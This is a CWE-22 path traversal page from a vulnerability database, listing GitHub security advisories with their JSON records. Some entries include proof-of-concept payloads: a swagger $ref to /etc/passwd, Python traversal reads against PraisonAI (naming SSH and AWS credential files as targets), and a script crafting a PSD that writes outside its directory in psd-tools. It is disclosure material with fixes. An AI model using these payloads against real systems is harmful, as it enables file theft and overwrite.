CWE-22
Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
13348 vulnerabilities reference this CWE, most recent first.
GHSA-2R6R-VM5X-QH4P
Vulnerability from github – Published: 2022-05-24 17:43 – Updated: 2022-05-24 17:43Dell EMC OpenManage Server Administrator (OMSA) versions 9.5 and prior contain a path traversal vulnerability. A remote user with admin privileges could potentially exploit this vulnerability to view arbitrary files on the target system by sending a specially crafted URL request.
{
"affected": [],
"aliases": [
"CVE-2021-21514"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-03-02T16:15:00Z",
"severity": "MODERATE"
},
"details": "Dell EMC OpenManage Server Administrator (OMSA) versions 9.5 and prior contain a path traversal vulnerability. A remote user with admin privileges could potentially exploit this vulnerability to view arbitrary files on the target system by sending a specially crafted URL request.",
"id": "GHSA-2r6r-vm5x-qh4p",
"modified": "2022-05-24T17:43:28Z",
"published": "2022-05-24T17:43:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-21514"
},
{
"type": "WEB",
"url": "https://www.dell.com/support/kbdoc/en-us/000183670/dsa-2021-040-dell-emc-openmanage-server-administrator-omsa-security-update-for-multiple-vulnerabilities"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-2R7F-4H2C-5X73
Vulnerability from github – Published: 2020-09-01 16:38 – Updated: 2023-09-11 16:45fury-adapter-swagger from version 0.2.0 until version 0.9.7 has a weakness that allows an attacker to read arbitrary files off of the system. This can be used to read sensitive data, or to cause a denial of service condition by attempting to read something like /dev/zero.
Proof of Concept:
---
swagger: '2.0'
info:
title: Read local files
version: '1.0'
paths:
/foo:
get:
responses:
200:
description: Some description
examples:
text/html:
example:
$ref: '/etc/passwd'
Recommendation
Upgrade to version 0.9.7 or later.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "fury-adapter-swagger"
},
"ranges": [
{
"events": [
{
"introduced": "0.2.0"
},
{
"fixed": "0.9.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2016-1000249"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2020-08-31T18:18:37Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "`fury-adapter-swagger` from version 0.2.0 until version 0.9.7 has a weakness that allows an attacker to read arbitrary files off of the system. This can be used to read sensitive data, or to cause a denial of service condition by attempting to read something like `/dev/zero`.\n\n## Proof of Concept:\n\n```yaml\n---\nswagger: \u00272.0\u0027\ninfo:\n title: Read local files\n version: \u00271.0\u0027\n\npaths:\n /foo:\n get:\n responses:\n 200:\n description: Some description\n examples:\n text/html:\n example:\n $ref: \u0027/etc/passwd\u0027\n```\n\n\n## Recommendation\n\nUpgrade to version 0.9.7 or later.",
"id": "GHSA-2r7f-4h2c-5x73",
"modified": "2023-09-11T16:45:35Z",
"published": "2020-09-01T16:38:33Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/apiaryio/fury-adapter-swagger/pull/89"
},
{
"type": "WEB",
"url": "https://github.com/apiaryio/fury-adapter-swagger/commit/777e2d68f03546a88f3203bbd4725df8b1f662a7"
},
{
"type": "WEB",
"url": "https://github.com/apiaryio/fury-adapter-swagger/commit/f4407e3a5323bc31123d45dbc93b8417002e4d51#diff-54c345dc104dc19440f9c2482b7883df820e8b9b699fdd8fa07e2773e7197a29"
},
{
"type": "PACKAGE",
"url": "https://github.com/apiaryio/fury-adapter-swagger"
},
{
"type": "WEB",
"url": "https://security.snyk.io/vuln/npm:fury-adapter-swagger:20161024"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/advisories/305"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "fury-adapter-swagger allows arbitrary file read from system"
}
GHSA-2R8X-HFX4-M6X7
Vulnerability from github – Published: 2022-05-17 02:00 – Updated: 2025-04-11 03:54Multiple directory traversal vulnerabilities in the vendor daemon in Rational Common Licensing in Telelogic License Server 2.0, Rational License Server 7.x, and ibmratl in IBM Rational License Key Server (RLKS) 8.0 through 8.1.2 allow remote attackers to execute arbitrary code via vectors related to save, rename, and load operations on log files. NOTE: this might overlap CVE-2011-4135.
{
"affected": [],
"aliases": [
"CVE-2011-1389"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2012-01-19T19:55:00Z",
"severity": "HIGH"
},
"details": "Multiple directory traversal vulnerabilities in the vendor daemon in Rational Common Licensing in Telelogic License Server 2.0, Rational License Server 7.x, and ibmratl in IBM Rational License Key Server (RLKS) 8.0 through 8.1.2 allow remote attackers to execute arbitrary code via vectors related to save, rename, and load operations on log files. NOTE: this might overlap CVE-2011-4135.",
"id": "GHSA-2r8x-hfx4-m6x7",
"modified": "2025-04-11T03:54:21Z",
"published": "2022-05-17T02:00:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2011-1389"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/71739"
},
{
"type": "WEB",
"url": "http://kb.flexerasoftware.com/selfservice/microsites/search.do?cmd=displayKC\u0026docType=kc\u0026externalId=Q200975\u0026sliceId=1"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/47522"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/47524"
},
{
"type": "WEB",
"url": "http://www.flexerasoftware.com/pl/13057.htm"
},
{
"type": "WEB",
"url": "http://www.ibm.com/support/docview.wss?uid=swg21577760"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/49191"
},
{
"type": "WEB",
"url": "http://www.zerodayinitiative.com/advisories/ZDI-11-272"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-2R93-MJ79-7F76
Vulnerability from github – Published: 2025-10-15 06:31 – Updated: 2025-10-15 15:30The BlindMatrix e-Commerce WordPress plugin before 3.1 does not validate some shortcode attributes before using them to generate paths passed to include function/s, allowing any authenticated users, such as contributors, to perform LFI attacks.
{
"affected": [],
"aliases": [
"CVE-2025-10406"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-15T06:15:34Z",
"severity": "MODERATE"
},
"details": "The BlindMatrix e-Commerce WordPress plugin before 3.1 does not validate some shortcode attributes before using them to generate paths passed to include function/s, allowing any authenticated users, such as contributors, to perform LFI attacks.",
"id": "GHSA-2r93-mj79-7f76",
"modified": "2025-10-15T15:30:27Z",
"published": "2025-10-15T06:31:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-10406"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/d8bdd2d4-c03c-4e7f-9c8a-6efc010311b6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-2RCG-MM5H-XCHX
Vulnerability from github – Published: 2026-06-18 13:57 – Updated: 2026-07-20 21:26Summary
The MentionsParser in src/praisonai-agents/praisonaiagents/tools/mentions.py processes @file: mentions in agent prompts by reading arbitrary files from the filesystem. When a file path is not found relative to the workspace, the parser falls back to using the path as an absolute path without any validation or boundary check. This allows an attacker who can influence agent prompts (via chat messages, Telegram/Discord/Slack bot inputs, or YAML workflow configs) to read any file on the filesystem accessible to the process user.
Details
Vulnerable code (lines 165–178):
def _process_file_mention(self, file_path: str) -> Optional[str]:
"""Process @file:path mention."""
try:
# Resolve path relative to workspace
full_path = self.workspace_path / file_path
if not full_path.exists():
# Try as absolute path
full_path = Path(file_path)
if not full_path.exists():
self._log(f"File not found: {file_path}", logging.WARNING)
return f"# File: {file_path}\n[File not found]"
content = full_path.read_text(encoding="utf-8")
The vulnerability is in the fallback at line 171–172: When the file is not found relative to workspace_path, the code constructs full_path = Path(file_path), which accepts any absolute or relative path without validation. There is no:
- .. path traversal check
- Workspace boundary validation
- Symlink resolution against workspace
- Protected path guard
The file_path parameter originates from parsing @file: mentions in user/LLM prompts. The MentionsParser is used across the framework to process mentions in agent instructions and user messages.
Contrast with skill_tools.py read_skill_file (lines 140–193), which properly validates:
# skill_tools.py line 179 — proper validation
if os.path.commonpath([full_path, skill_path]) != skill_path:
return f"Error: Path traversal detected - {file_path} is outside skill directory"
PoC
Setup: Clean checkout at commit d5f1114a.
Positive trigger — arbitrary file read via @file: mention:
import sys
sys.path.insert(0, 'src/praisonai-agents')
from praisonaiagents.tools.mentions import MentionsParser
parser = MentionsParser()
# Test 1: Absolute path read (bypasses workspace resolution)
result = parser._process_file_mention('/etc/hostname')
print(f'Absolute path read: {result[:80]}...')
# Test 2: Relative path with traversal
result = parser._process_file_mention('../../../etc/hostname')
print(f'Traversal read: {result[:80]}...')
Expected output:
Absolute path read: # File: /etc/hostname
```linux
<hostname>
```...
Traversal read: # File: ../../../etc/hostname
```linux
<hostname>
```...
Negative control — non-existent file:
result = parser._process_file_mention('/nonexistent/secret.txt')
# Returns: "# File: /nonexistent/secret.txt\n[File not found]"
Cleanup: No persistence or side effects — read-only operation.
Impact
An attacker who can inject @file: mentions into agent prompts (via chat messages in Telegram/Discord/Slack bots, user input in web UI, or YAML workflow configurations) can read any file accessible to the process user, including:
- Secrets and credentials:
.envfiles,~/.aws/credentials,~/.ssh/id_rsa, API keys - Configuration files: Database passwords, JWT secrets, OAuth tokens
- Source code: Application internals, database schemas
- System files:
/etc/passwd,/etc/shadow(if process has read access)
This is particularly dangerous in bot deployments where auto_approve_tools defaults to True and untrusted users can send messages containing @file: mentions.
Suggested remediation
- Remove the absolute path fallback. Only resolve files within
workspace_path:
def _process_file_mention(self, file_path: str) -> Optional[str]:
full_path = (self.workspace_path / file_path).resolve()
# Ensure resolved path is within workspace
if not str(full_path).startswith(str(self.workspace_path.resolve())):
return f"# File: {file_path}\n[Access denied: path outside workspace]"
if not full_path.exists():
return f"# File: {file_path}\n[File not found]"
content = full_path.read_text(encoding="utf-8")
-
Add symlink resolution via
.resolve()to prevent symlink-based traversal. -
Add a protected path guard (
.env,.git,.ssh, keys, credentials). -
Apply the same
os.path.commonpathpattern used byskill_tools.py.
Credits
- Thai Son Dinh from VinSOC Labs (R&D)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.6.48"
},
"package": {
"ecosystem": "PyPI",
"name": "praisonaiagents"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.6.59"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-57129"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-18T13:57:00Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nThe MentionsParser in `src/praisonai-agents/praisonaiagents/tools/mentions.py` processes `@file:` mentions in agent prompts by reading arbitrary files from the filesystem. When a file path is not found relative to the workspace, the parser falls back to using the path as an absolute path without any validation or boundary check. This allows an attacker who can influence agent prompts (via chat messages, Telegram/Discord/Slack bot inputs, or YAML workflow configs) to read any file on the filesystem accessible to the process user.\n\n## Details\n**Vulnerable code (lines 165\u2013178):**\n```python\ndef _process_file_mention(self, file_path: str) -\u003e Optional[str]:\n \"\"\"Process @file:path mention.\"\"\"\n try:\n # Resolve path relative to workspace\n full_path = self.workspace_path / file_path\n if not full_path.exists():\n # Try as absolute path\n full_path = Path(file_path)\n \n if not full_path.exists():\n self._log(f\"File not found: {file_path}\", logging.WARNING)\n return f\"# File: {file_path}\\n[File not found]\"\n \n content = full_path.read_text(encoding=\"utf-8\")\n```\n\n**The vulnerability is in the fallback at line 171\u2013172:** When the file is not found relative to `workspace_path`, the code constructs `full_path = Path(file_path)`, which accepts any absolute or relative path without validation. There is no:\n- `..` path traversal check\n- Workspace boundary validation\n- Symlink resolution against workspace\n- Protected path guard\n\nThe `file_path` parameter originates from parsing `@file:` mentions in user/LLM prompts. The `MentionsParser` is used across the framework to process mentions in agent instructions and user messages.\n\n**Contrast with `skill_tools.py` `read_skill_file`** (lines 140\u2013193), which properly validates:\n```python\n# skill_tools.py line 179 \u2014 proper validation\nif os.path.commonpath([full_path, skill_path]) != skill_path:\n return f\"Error: Path traversal detected - {file_path} is outside skill directory\"\n```\n\n## PoC\n\n**Setup:** Clean checkout at commit `d5f1114a`.\n\n**Positive trigger \u2014 arbitrary file read via @file: mention:**\n```python\nimport sys\nsys.path.insert(0, \u0027src/praisonai-agents\u0027)\nfrom praisonaiagents.tools.mentions import MentionsParser\n\nparser = MentionsParser()\n\n# Test 1: Absolute path read (bypasses workspace resolution)\nresult = parser._process_file_mention(\u0027/etc/hostname\u0027)\nprint(f\u0027Absolute path read: {result[:80]}...\u0027)\n\n# Test 2: Relative path with traversal\nresult = parser._process_file_mention(\u0027../../../etc/hostname\u0027)\nprint(f\u0027Traversal read: {result[:80]}...\u0027)\n```\n\n**Expected output:**\n```\nAbsolute path read: # File: /etc/hostname\n```linux\n\u003chostname\u003e\n```...\nTraversal read: # File: ../../../etc/hostname\n```linux\n\u003chostname\u003e\n```...\n```\n\n**Negative control \u2014 non-existent file:**\n```python\nresult = parser._process_file_mention(\u0027/nonexistent/secret.txt\u0027)\n# Returns: \"# File: /nonexistent/secret.txt\\n[File not found]\"\n```\n\n**Cleanup:** No persistence or side effects \u2014 read-only operation.\n\n## Impact\n\nAn attacker who can inject `@file:` mentions into agent prompts (via chat messages in Telegram/Discord/Slack bots, user input in web UI, or YAML workflow configurations) can read any file accessible to the process user, including:\n\n- **Secrets and credentials:** `.env` files, `~/.aws/credentials`, `~/.ssh/id_rsa`, API keys\n- **Configuration files:** Database passwords, JWT secrets, OAuth tokens\n- **Source code:** Application internals, database schemas\n- **System files:** `/etc/passwd`, `/etc/shadow` (if process has read access)\n\nThis is particularly dangerous in bot deployments where `auto_approve_tools` defaults to `True` and untrusted users can send messages containing `@file:` mentions.\n\n## Suggested remediation\n\n1. **Remove the absolute path fallback.** Only resolve files within `workspace_path`:\n```python\ndef _process_file_mention(self, file_path: str) -\u003e Optional[str]:\n full_path = (self.workspace_path / file_path).resolve()\n # Ensure resolved path is within workspace\n if not str(full_path).startswith(str(self.workspace_path.resolve())):\n return f\"# File: {file_path}\\n[Access denied: path outside workspace]\"\n if not full_path.exists():\n return f\"# File: {file_path}\\n[File not found]\"\n content = full_path.read_text(encoding=\"utf-8\")\n```\n\n2. Add symlink resolution via `.resolve()` to prevent symlink-based traversal.\n\n3. Add a protected path guard (`.env`, `.git`, `.ssh`, keys, credentials).\n\n4. Apply the same `os.path.commonpath` pattern used by `skill_tools.py`.\n\n### Credits\n- Thai Son Dinh from VinSOC Labs (R\u0026D)",
"id": "GHSA-2rcg-mm5h-xchx",
"modified": "2026-07-20T21:26:29Z",
"published": "2026-06-18T13:57:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-2rcg-mm5h-xchx"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "PraisonAI: Arbitrary File Read via `@file:` Mention Path Traversal"
}
GHSA-2RH2-8H38-PQP8
Vulnerability from github – Published: 2022-05-01 18:36 – Updated: 2022-05-01 18:36Directory traversal vulnerability in index.php in Firewolf Technologies Synergiser 1.2 RC1 and earlier allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the page parameter. NOTE: this can be leveraged to obtain the path by including a local PHP script with a duplicate function declaration.
{
"affected": [],
"aliases": [
"CVE-2007-5802"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2007-11-03T00:46:00Z",
"severity": "HIGH"
},
"details": "Directory traversal vulnerability in index.php in Firewolf Technologies Synergiser 1.2 RC1 and earlier allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the page parameter. NOTE: this can be leveraged to obtain the path by including a local PHP script with a duplicate function declaration.",
"id": "GHSA-2rh2-8h38-pqp8",
"modified": "2022-05-01T18:36:58Z",
"published": "2022-05-01T18:36:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2007-5802"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/38217"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/38218"
},
{
"type": "WEB",
"url": "http://osvdb.org/38371"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/27466"
},
{
"type": "WEB",
"url": "http://securityreason.com/securityalert/3335"
},
{
"type": "WEB",
"url": "http://www.inj3ct-it.org/exploit/syner.txt"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/483099/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/26289"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2007/3745"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-2RH3-6R34-QVM7
Vulnerability from github – Published: 2022-05-17 05:18 – Updated: 2022-05-17 05:18Absolute path traversal vulnerability in NFRAgent.exe in Novell File Reporter 1.0.2 allows remote attackers to read arbitrary files via a /FSF/CMD request with a full pathname in a PATH element of an SRS record.
{
"affected": [],
"aliases": [
"CVE-2012-4957"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2012-11-18T19:55:00Z",
"severity": "HIGH"
},
"details": "Absolute path traversal vulnerability in NFRAgent.exe in Novell File Reporter 1.0.2 allows remote attackers to read arbitrary files via a /FSF/CMD request with a full pathname in a PATH element of an SRS record.",
"id": "GHSA-2rh3-6r34-qvm7",
"modified": "2022-05-17T05:18:45Z",
"published": "2022-05-17T05:18:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2012-4957"
},
{
"type": "WEB",
"url": "https://community.rapid7.com/community/metasploit/blog/2012/11/16/nfr-agent-buffer-vulnerabilites-cve-2012-4959"
},
{
"type": "WEB",
"url": "http://www.kb.cert.org/vuls/id/273371"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-2RJF-47PG-4V46
Vulnerability from github – Published: 2022-05-14 02:18 – Updated: 2022-05-14 02:18A directory traversal vulnerability with remote code execution in Prim'X Zed! FREE through 1.0 build 186 and Zed! Limited Edition through 6.1 build 2208 allows creation of arbitrary files on a user's workstation using crafted ZED! containers because the watermark loading function can place an executable file into a Startup folder.
{
"affected": [],
"aliases": [
"CVE-2018-16518"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-09-05T15:29:00Z",
"severity": "CRITICAL"
},
"details": "A directory traversal vulnerability with remote code execution in Prim\u0027X Zed! FREE through 1.0 build 186 and Zed! Limited Edition through 6.1 build 2208 allows creation of arbitrary files on a user\u0027s workstation using crafted ZED! containers because the watermark loading function can place an executable file into a Startup folder.",
"id": "GHSA-2rjf-47pg-4v46",
"modified": "2022-05-14T02:18:48Z",
"published": "2022-05-14T02:18:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-16518"
},
{
"type": "WEB",
"url": "https://github.com/ponypot/cve/blob/master/zed_watermarkExtension.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2RM2-CR56-79W2
Vulnerability from github – Published: 2022-05-17 04:16 – Updated: 2025-04-12 12:45Directory traversal vulnerability in the rftpcom.dll ActiveX control in Attachmate Reflection FTP Client before 14.1.429 allows remote attackers to execute arbitrary code via unspecified vectors to the StartLog method.
{
"affected": [],
"aliases": [
"CVE-2014-0604"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2015-02-06T11:59:00Z",
"severity": "HIGH"
},
"details": "Directory traversal vulnerability in the rftpcom.dll ActiveX control in Attachmate Reflection FTP Client before 14.1.429 allows remote attackers to execute arbitrary code via unspecified vectors to the StartLog method.",
"id": "GHSA-2rm2-cr56-79w2",
"modified": "2025-04-12T12:45:03Z",
"published": "2022-05-17T04:16:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-0604"
},
{
"type": "WEB",
"url": "http://support.attachmate.com/techdocs/2501.html"
},
{
"type": "WEB",
"url": "http://www.zerodayinitiative.com/advisories/ZDI-14-289"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-2RMG-VRX8-9J2F
Vulnerability from github – Published: 2026-07-09 23:20 – Updated: 2026-07-09 23:20psd-tools: arbitrary file write/read via smart-object path traversal
Summary
In psd-tools (all releases exposing the SmartObject API through v1.17.0), SmartObject.save() writes an embedded smart object to a path taken verbatim from the PSD file. Because that name is attacker-controlled and unsanitised, a tool that extracts embedded objects from an untrusted .psd can be made to write attacker-chosen bytes to an attacker-chosen path (absolute or ../-traversing), outside its intended output directory.
A secondary issue in SmartObject.open() for external-kind smart objects allows the attacker-controlled fullPath descriptor to be used as an arbitrary file read path, enabling exfiltration of the read content to the controlled write destination. Both issues are fixed in v1.17.1.
Details
Write path — SmartObject.save() (primary)
src/psd_tools/api/smart_object.py:170-179 (tag v1.17.0):
def save(self, filename: str | None = None) -> None:
if filename is None:
filename = self.filename # untrusted, straight from the file
with open(filename, "wb") as f:
f.write(self.data) # attacker-controlled bytes
self.filename comes from the file with no validation — the filename property (:62-67) returns self._data.filename, set by the linked-layer parser at src/psd_tools/psd/linked_layer.py:100 (read_unicode_string(fp)). There is no basename, no absolute path rejection, and no .. filtering; the written contents (self.data) are likewise from the file, so the attacker controls both destination and content.
Read path — SmartObject.open() / .data for external kind (secondary)
For kind == "external", save() read file content via the data property, which called open() with no external_dir constraint. The fullPath descriptor embedded in the PSD was then used verbatim as the source path, enabling an attacker-crafted PSD to cause save(directory="/safe/out") to read an arbitrary readable file (e.g. /etc/passwd) and write its contents to the output directory.
Proof of concept
Standalone, against the released package (writes only into a fresh temp dir; exit 0 = confirmed). A Docker bundle is available on request.
pip install psd-tools==1.17.0
python poc.py
poc.py builds two PSDs from the project's own placedLayer.psd fixture (included as base.psd), differing only in the embedded smart-object name — control is a bare basename, exploit is ../../PWNED-psd-tools-poc.bin — then extracts each like a consumer would:
import os, shutil, tempfile
from psd_tools import PSDImage
from psd_tools.constants import Tag
MARKER = b"PSD-TOOLS-POC: arbitrary-file-write payload (attacker-controlled bytes)\n"
NAMES = {"control": "embedded-export.bin", "exploit": "../../PWNED-psd-tools-poc.bin"}
def craft(name, out):
psd = PSDImage.open(os.path.join(os.path.dirname(__file__), "base.psd"))
uuid = next(l.smart_object.unique_id for l in psd.descendants()
if l.kind == "smartobject" and l.smart_object.kind == "data")
for key in (Tag.LINKED_LAYER1, Tag.LINKED_LAYER2, Tag.LINKED_LAYER3, Tag.LINKED_LAYER_EXTERNAL):
for item in (psd.tagged_blocks.get_data(key) or []) if key in psd.tagged_blocks else []:
if item.uuid.strip("\x00") == uuid:
item.filename, item.data = name, MARKER
psd.save(out)
def extract(psd_path, outdir, watch):
psd = PSDImage.open(psd_path)
before = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs}
cwd = os.getcwd(); os.chdir(outdir)
try:
for l in psd.descendants():
if l.kind == "smartobject" and l.smart_object.kind == "data":
l.smart_object.save()
finally:
os.chdir(cwd)
after = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs}
return sorted(after - before)
def main():
tmp = tempfile.mkdtemp(prefix="poc_")
try:
escaped = {}
for tag, name in NAMES.items():
psd = os.path.join(tmp, tag + ".psd"); craft(name, psd)
so = next(l.smart_object for l in PSDImage.open(psd).descendants()
if l.kind == "smartobject" and l.smart_object.kind == "data")
print(f"[{tag}] parsed embedded name = {so.filename!r}")
outdir = os.path.join(tmp, tag, "app", "extracted"); os.makedirs(outdir)
written = extract(psd, outdir, tmp); out = os.path.realpath(outdir)
esc = [w for w in written if not w.startswith(out + os.sep)]; escaped[tag] = esc
for w in written:
print(f"[{tag}] wrote {w} {chr(39)}OUTSIDE output dir{chr(39) if w in esc else chr(39)}inside output dir{chr(39)}")
ok = (not escaped["control"] and escaped["exploit"]
and all(open(w, "rb").read() == MARKER for w in escaped["exploit"]))
print("\nVERDICT:", "ARBITRARY FILE WRITE CONFIRMED" if ok else "not reproduced")
return 0 if ok else 1
finally:
shutil.rmtree(tmp, ignore_errors=True)
raise SystemExit(main())
Output (psd-tools 1.17.0):
[control] parsed embedded name = 'embedded-export.bin'
[control] wrote .../poc_*/control/app/extracted/embedded-export.bin inside output dir
[exploit] parsed embedded name = '../../PWNED-psd-tools-poc.bin'
[exploit] wrote .../poc_*/exploit/PWNED-psd-tools-poc.bin OUTSIDE output dir
VERDICT: ARBITRARY FILE WRITE CONFIRMED
An absolute embedded name (e.g. /home/user/.bashrc) is honoured the same way.
Impact
Any application that ingests untrusted PSD/PSB files and extracts their embedded smart objects via SmartObject.save() can be coerced into writing attacker-controlled bytes to an attacker-chosen existing directory — no authentication or special configuration required. High integrity impact; can escalate to code execution depending on the target path.
For external-kind smart objects the same call additionally allowed arbitrary file reads, with the read content written to the controlled output directory.
Severity
Moderate for the common case (a library/desktop tool where a user initiates extraction). Higher for a service that auto-extracts smart objects from uploaded PSDs without user interaction.
Patch
Fixed in v1.17.1 (PR #657). Changes to src/psd_tools/api/smart_object.py:
save(): strips directory components from the embedded name viaos.path.basename(), writes only into a caller-supplieddirectory(defaults to CWD), and verifies the resolved path stays inside that directory viaos.path.realpath()+os.path.commonpath(). A newexternal_dirparameter is propagated toopen()for external-kind objects to constrain the read source.open(): whenexternal_diris provided, afullPathresolving outside it is silently ignored (falls through torelPath); arelPathescaping the directory raisesValueError.
Weaknesses
CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) via CWE-73 (External Control of File Name or Path).
Resources
- Fix PR: https://github.com/psd-tools/psd-tools/pull/657
- Release: https://github.com/psd-tools/psd-tools/releases/tag/v1.17.1
- Affected source (tag
v1.17.0):src/psd_tools/api/smart_object.py:170-179(sink),:62-67(untrustedfilename);src/psd_tools/psd/linked_layer.py:100(source). - Distinct in class from the published advisories (GHSA-24p2-j2jr-386w —
compression resource exhaustion; GHSA-22jr-vc7j-g762 — buffer overflow). The
save()write logic is unchanged since theSmartObjectAPI was introduced, so all releases exposing it are affected.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.17.0"
},
"package": {
"ecosystem": "PyPI",
"name": "psd-tools"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.17.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-49836"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-09T23:20:47Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "# psd-tools: arbitrary file write/read via smart-object path traversal\n\n## Summary\n\nIn `psd-tools` (all releases exposing the `SmartObject` API through **v1.17.0**), `SmartObject.save()` writes an embedded smart object to a path taken verbatim from the PSD file. Because that name is attacker-controlled and unsanitised, a tool that extracts embedded objects from an untrusted `.psd` can be made to write attacker-chosen bytes to an attacker-chosen path (absolute or `../`-traversing), outside its intended output directory.\n\nA secondary issue in `SmartObject.open()` for external-kind smart objects allows the attacker-controlled `fullPath` descriptor to be used as an arbitrary file **read** path, enabling exfiltration of the read content to the controlled write destination. Both issues are fixed in **v1.17.1**.\n\n## Details\n\n### Write path \u2014 `SmartObject.save()` (primary)\n\n`src/psd_tools/api/smart_object.py:170-179` (tag `v1.17.0`):\n\n```python\ndef save(self, filename: str | None = None) -\u003e None:\n if filename is None:\n filename = self.filename # untrusted, straight from the file\n with open(filename, \"wb\") as f:\n f.write(self.data) # attacker-controlled bytes\n```\n\n`self.filename` comes from the file with no validation \u2014 the `filename` property (`:62-67`) returns `self._data.filename`, set by the linked-layer parser at `src/psd_tools/psd/linked_layer.py:100` (`read_unicode_string(fp)`). There is no `basename`, no absolute path rejection, and no `..` filtering; the written contents (`self.data`) are likewise from the file, so the attacker controls both destination and content.\n\n### Read path \u2014 `SmartObject.open()` / `.data` for external kind (secondary)\n\nFor `kind == \"external\"`, `save()` read file content via the `data` property, which called `open()` with no `external_dir` constraint. The `fullPath` descriptor embedded in the PSD was then used verbatim as the source path, enabling an attacker-crafted PSD to cause `save(directory=\"/safe/out\")` to read an arbitrary readable file (e.g. `/etc/passwd`) and write its contents to the output directory.\n\n## Proof of concept\n\nStandalone, against the released package (writes only into a fresh temp dir; exit 0 = confirmed). A Docker bundle is available on request.\n\n```bash\npip install psd-tools==1.17.0\npython poc.py\n```\n\n`poc.py` builds two PSDs from the project\u0027s own `placedLayer.psd` fixture (included as `base.psd`), differing **only** in the embedded smart-object name 